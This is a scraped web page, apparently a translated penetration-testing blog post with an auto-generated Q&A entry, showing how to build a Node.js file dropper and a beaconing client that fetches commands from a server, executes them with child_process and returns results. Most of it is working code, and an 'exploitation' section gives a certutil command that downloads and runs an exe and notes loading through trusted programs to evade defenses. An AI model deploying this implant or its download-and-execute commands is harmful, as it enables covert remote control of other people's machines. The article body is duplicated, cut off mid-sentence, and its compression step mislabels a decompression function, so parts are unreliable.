[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fU2izva6tl3Rjo43y3BhuJqN3Xp1mXQb3Jd0AodvbMTM":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},858,"How does the article implement a file dropper using Node.js, and what techniques are used to reduce payload size?","The file dropper works by base64 encoding an executable file and storing the encoded string, then decoding and writing it back at runtime. To reduce the payload size, the author also demonstrates using gzip compression with `zlib.createGzip()` and decompression with `zlib.createGunzip()`, leveraging Node.js streams via `pipe()`. This approach is similar to techniques used in [Volume Shadow Copy in Penetration Testing](\u002Fnews\u002Fvolume-shadow-copy-in-penetration-testing) for stealthy file manipulation.","\u003Cp>The file dropper works by base64 encoding an executable file and storing the encoded string, then decoding and writing it back at runtime. To reduce the payload size, the author also demonstrates using gzip compression with `zlib.createGzip()` and decompression with `zlib.createGunzip()`, leveraging Node.js streams via `pipe()`. This approach is similar to techniques used in [Volume Shadow Copy in Penetration Testing](\u002Fnews\u002Fvolume-shadow-copy-in-penetration-testing) for stealthy file manipulation.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fnode-js-in-penetration-testing-implementation-of-a-downloader\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-does-the-article-implement-a-file-dropper-using-nodejs-and-what-techniques-a-1777481637780","file dropper, base64, gzip compression, Node.js streams, payload reduction",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},210,"Node.js in Penetration Testing - Implementation of a Downloader","node-js-in-penetration-testing-implementation-of-a-downloader","Learn how to implement a Node.js downloader for penetration testing, covering file release, bypass techniques, and defense recommendations.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I\u002FO model, making it lightweight and efficient.\u003C\u002Fp>\u003Cp>I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.\u003C\u002Fp>\u003Cp>Learning resource for bypassing active defense with Node.js:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Basic Concepts\u003C\u002Fli>\u003Cli>File Dropper Implementation using Node.js\u003C\u002Fli>\u003Cli>Downloader Implementation using Node.js\u003C\u002Fli>\u003Cli>Exploitation Ideas\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Difference between Node.js and JavaScript\u003C\u002Fh3>\u003Cp>JavaScript is a programming language\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine\u003C\u002Fp>\u003Cp>Although both use .js file extensions on Windows, they differ significantly and have different syntax\u003C\u002Fp>\u003Ch3>Using Node.js\u003C\u002Fh3>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fapi\u002F\u003C\u002Fp>\u003Cp>Chinese resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.runoob.com\u002Fnodejs\u002Fnodejs-tutorial.html\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Cp>On Windows, Node.js code is saved in files with .js extension and executed via node.exe\u003C\u002Fp>\u003Cp>Node.js supports third-party packages; modules can be installed using npm command, example as follows:\u003C\u002Fp>\u003Cp>Install web framework module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>npm install express\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var express = require('express');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code covered in this article does not use third-party packages, only uses node.exe from the installation package\u003C\u002Fp>\u003Ch2>0x03 File Release Implementation Using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation Approach:\u003C\u002Fh3>\u003Cp>Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file\u003C\u002Fp>\u003Ch4>1. Read file content, perform base64 encoding, and output to data.txt\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_encode(file) {\u003Cbr>\tvar fs = require('fs');\u003Cbr>\tvar data = fs.readFileSync(file);\u003Cbr>\treturn Buffer.from(data).toString('base64');\u003Cbr>}\u003Cbr>var base64str = base64_encode('test.exe');\u003Cbr>console.log(base64str);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading\u003C\u002Fp>\u003Cp>Execute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.js base64encode.js &gt;data.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_decode(base64str, file) {\u003Cbr>\tvar data = Buffer.from(base64str, 'base64');\u003Cbr>    fs.writeFileSync(file, data);\u003Cbr>}\u003Cbr>var fs = require('fs');\u003Cbr>var base64str = fs.readFileSync('data.txt');\u003Cbr>console.log(base64str.toString());\u003Cbr>base64_decode(base64str.toString(), 'test2.exe');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variable\u003Cstrong>base64str\u003C\u002Fstrong>needs to be explicitly converted to a string type, i.e., base64str.toString()\u003C\u002Fp>\u003Cp>To reduce file size, incorporate the gzip compression algorithm\u003C\u002Fp>\u003Ch4>1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function gunzip(sourcePath) {\u003Cbr>\tvar zlib = require('zlib');\u003Cbr>\tvar fs = require('fs');\u003Cbr>  \tvar unzip = zlib.createGunzip();\u003Cbr>  \tvar rs = fs.createReadStream(sourcePath);\u003Cbr>  \tvar ws = fs.createWriteStream('test2.exe');\u003Cbr>  \trs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var zlib = require('zlib');\u003Cbr>var fs = require('fs');\u003Cbr>function gunzip(sourcePath) {\u003Cbr>  var unzip = zlib.createGunzip(); \u003Cbr>  var rs = fs.createReadStream(sourcePath); \u003Cbr>  var ws = fs.createWriteStream('test2.exe');\u003Cbr>  rs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Downloader implemented using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation approach:\u003C\u002Fh3>\u003Ch4>1. Server\u003C\u002Fh4>\u003Cul>\u003Cli>Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data\u003C\u002Fli>\u003Cli>Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Client\u003C\u002Fh4>\u003Cul>\u003Cli>Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version\u003C\u002Fli>\u003Cli>Receive control commands returned by the server, execute them, and then send the results back to the server\u003C\u002Fli>\u003Cli>If the server does not respond, wait for a period of time before sending the post request again\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch4>1. Execute cmd commands via Node.js\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function runcmd(command) {\u003Cbr>\tvar childprocess = require('child_process');\u003Cbr>\tchildprocess.exec(command, (err, stdout, stderr) =&gt; {\u003Cbr>  \tif (err) {\u003Cbr>    \t\tconsole.error(err);\u003Cbr>    \t\treturn;\u003Cbr>  \t}\u003Cbr>  \tconsole.log(stdout);\u003Cbr>\t});\u003Cbr>}\u003Cbr>runcmd('whoami');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Implementation of HTTP Communication\u003C\u002Fh4>\u003Cp>Server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var http = require('http');\u003Cbr>var querystring = require('querystring');\u003Cbr>http.createServer(function (req, res) {\u003Cbr>    \tvar body = '';\u003Cbr>    \tconsole.log('req.url:',req.url);\u003Cbr>    \treq.on('data', function (chunk) {\u003Cbr>\t\tbody += chunk;\u003Cbr>        \tconsole.log(\"chunk:\",chunk);\u003Cbr>    \t});\u003Cbr>    \treq.on('end', function () {\u003Cbr>        \tbody = querystring.parse(body);  \u003Cbr>        \tconsole.log('body:',body);\u003Cbr>        \tres.write('Message from server');\u003Cbr>        \tres.end();\u003Cbr>    \t});\u003Cbr>}).listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>sendHello('127.0.0.1','3000');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client sends post data to Server, content is data1=str1&amp;data2=str2\u003C\u002Fp>\u003Cp>After receiving the request, Server replies to Client with 'Message from server'\u003C\u002Fp>\u003Ch4>3. Implementation of sleep\u003C\u002Fh4>\u003Cp>Node.js does not support sleep operation by default, it can be implemented as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile (new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>var timeinterval = +'5000';\u003Cbr>sleep(timeinterval);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Convert string type to number by adding + in front\u003C\u002Fp>\u003Ch4>4. Client periodically sends post requests in a loop\u003C\u002Fh4>\u003Cp>Here we need to consider asynchronous and synchronous issues\u003C\u002Fp>\u003Cp>Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:\u003C\u002Fp>\u003Cp>Server:\u003C\u002Fp>\u003Cp>Code same as above\u003C\u002Fp>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime()&lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>while (true)\u003Cbr>{\u003Cbr>\tconsole.log('1');\u003Cbr>\tsleep(5000);\u003Cbr>\tsendHello('127.0.0.1','3000');\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Expected result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Client sends a POST request every 5 seconds and receives the result\u003C\u002Fp>\u003Cp>\u003Cstrong>Actual result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The loop executes every 5 seconds, but the Client does not send a request\u003C\u002Fp>\u003Cp>Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization\u003C\u002Fp>\u003Cp>Finally, I resolved the synchronization issue through method nesting, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function A(){\u003Cbr>\tconsole.log('A');\u003Cbr>\tB();\u003Cbr>}\u003Cbr>function B(){\u003Cbr>\tconsole.log('B');\u003Cbr>\tsleep(5000);\u003Cbr>\tA();\u003Cbr>}\u003Cbr>A();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Server displays Client's IP\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function getClientIp(req) {\u003Cbr>        return req.headers['x-forwarded-for'] ||\u003Cbr>        req.connection.remoteAddress ||\u003Cbr>        req.socket.remoteAddress ||\u003Cbr>        req.connection.socket.remoteAddress;\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Default format is IPv6, for example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>::ffff:127.0.0.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can be specified as IPv4 by modifying listen parameters\u003C\u002Fp>\u003Cp>Before modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>6. The server checks the POST request and replies with 404 if it does not meet requirements.\u003C\u002Fh4>\u003Cp>Simply check the content of the body.\u003C\u002Fp>\u003Cp>The complete implementation code has been open-sourced at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The open-source code is merely an example, used to demonstrate NodeJS functionality.\u003C\u002Fp>\u003Cp>Usage is as follows:\u003C\u002Fp>\u003Cp>First, obtain node.exe from the download address: https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Ch4>1. Edit the file Server.js\u003C\u002Fh4>\u003Cp>You can compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Command sent to the client: var command\u003C\u002Fli>\u003Cli>Listen on port: .listen(80,'0.0.0.0');\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Start the Server\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Server.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.\u003C\u002Fp>\u003Cp>Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page\u003C\u002Fp>\u003Ch4>3. Edit the file Client.js\u003C\u002Fh4>\u003Cp>Compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Server IP: var serverip\u003C\u002Fli>\u003Cli>Server port: var serverport\u003C\u002Fli>\u003Cli>Loop interval time: var timeinterval\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4. Start Client\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Client.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version\u003C\u002Fp>\u003Cp>Then receive control commands returned by the Server, execute them, and send the results back to the Server\u003C\u002Fp>\u003Cp>If the Server does not respond, wait for a period before sending the post request again\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>1. The open-source code supports multiple payloads\u003C\u002Fh4>\u003Cp>The payload can be set to download and execute files, for example\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'certutil -urlcache -split -f https:\u002F\u002Fgithub.com\u002F3gstudent\u002Ftest\u002Fraw\u002Fmaster\u002Fputty.exe c:\\\\a.exe&amp;&amp;c:\\\\a.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To send a command for Client exit, use:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'taskkill \u002Ff \u002Fim node.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Can be loaded by third-party trusted programs\u003C\u002Fh4>\u003Cp>Reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Cp>t.exe -&gt; node.exe -&gt; main.js\u003C\u002Fp>\u003Cp>Demonstration as shown:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017235635_0_2b4b3f0fb8.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.\u003C\u002Fp>\u003Cp>It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I\u002FO model, making it lightweight and efficient.\u003C\u002Fp>\u003Cp>I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.\u003C\u002Fp>\u003Cp>Learning resource for bypassing active defense with Node.js:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Basic Concepts\u003C\u002Fli>\u003Cli>File Dropper Implementation using Node.js\u003C\u002Fli>\u003Cli>Downloader Implementation using Node.js\u003C\u002Fli>\u003Cli>Exploitation Ideas\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Difference between Node.js and JavaScript\u003C\u002Fh3>\u003Cp>JavaScript is a programming language\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine\u003C\u002Fp>\u003Cp>Although both use .js file extensions on Windows, they differ significantly and have different syntax\u003C\u002Fp>\u003Ch3>Using Node.js\u003C\u002Fh3>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fapi\u002F\u003C\u002Fp>\u003Cp>Chinese resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.runoob.com\u002Fnodejs\u002Fnodejs-tutorial.html\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Cp>On Windows, Node.js code is saved in files with .js extension and executed via node.exe\u003C\u002Fp>\u003Cp>Node.js supports third-party packages; modules can be installed using npm command, example as follows:\u003C\u002Fp>\u003Cp>Install web framework module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>npm install express\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var express = require('express');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code covered in this article does not use third-party packages, only uses node.exe from the installation package\u003C\u002Fp>\u003Ch2>0x03 File Release Implementation Using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation Approach:\u003C\u002Fh3>\u003Cp>Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file\u003C\u002Fp>\u003Ch4>1. Read file content, perform base64 encoding, and output to data.txt\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_encode(file) {\u003Cbr>\tvar fs = require('fs');\u003Cbr>\tvar data = fs.readFileSync(file);\u003Cbr>\treturn Buffer.from(data).toString('base64');\u003Cbr>}\u003Cbr>var base64str = base64_encode('test.exe');\u003Cbr>console.log(base64str);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading\u003C\u002Fp>\u003Cp>Execute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.js base64encode.js &gt;data.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_decode(base64str, file) {\u003Cbr>\tvar data = Buffer.from(base64str, 'base64');\u003Cbr>    fs.writeFileSync(file, data);\u003Cbr>}\u003Cbr>var fs = require('fs');\u003Cbr>var base64str = fs.readFileSync('data.txt');\u003Cbr>console.log(base64str.toString());\u003Cbr>base64_decode(base64str.toString(), 'test2.exe');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variable\u003Cstrong>base64str\u003C\u002Fstrong>needs to be explicitly converted to a string type, i.e., base64str.toString()\u003C\u002Fp>\u003Cp>To reduce file size, incorporate the gzip compression algorithm\u003C\u002Fp>\u003Ch4>1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function gunzip(sourcePath) {\u003Cbr>\tvar zlib = require('zlib');\u003Cbr>\tvar fs = require('fs');\u003Cbr>  \tvar unzip = zlib.createGunzip();\u003Cbr>  \tvar rs = fs.createReadStream(sourcePath);\u003Cbr>  \tvar ws = fs.createWriteStream('test2.exe');\u003Cbr>  \trs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var zlib = require('zlib');\u003Cbr>var fs = require('fs');\u003Cbr>function gunzip(sourcePath) {\u003Cbr>  var unzip = zlib.createGunzip(); \u003Cbr>  var rs = fs.createReadStream(sourcePath); \u003Cbr>  var ws = fs.createWriteStream('test2.exe');\u003Cbr>  rs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Downloader implemented using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation approach:\u003C\u002Fh3>\u003Ch4>1. Server\u003C\u002Fh4>\u003Cul>\u003Cli>Listen on a specified port, wait for client connections, record the client's IP, connection time, and post 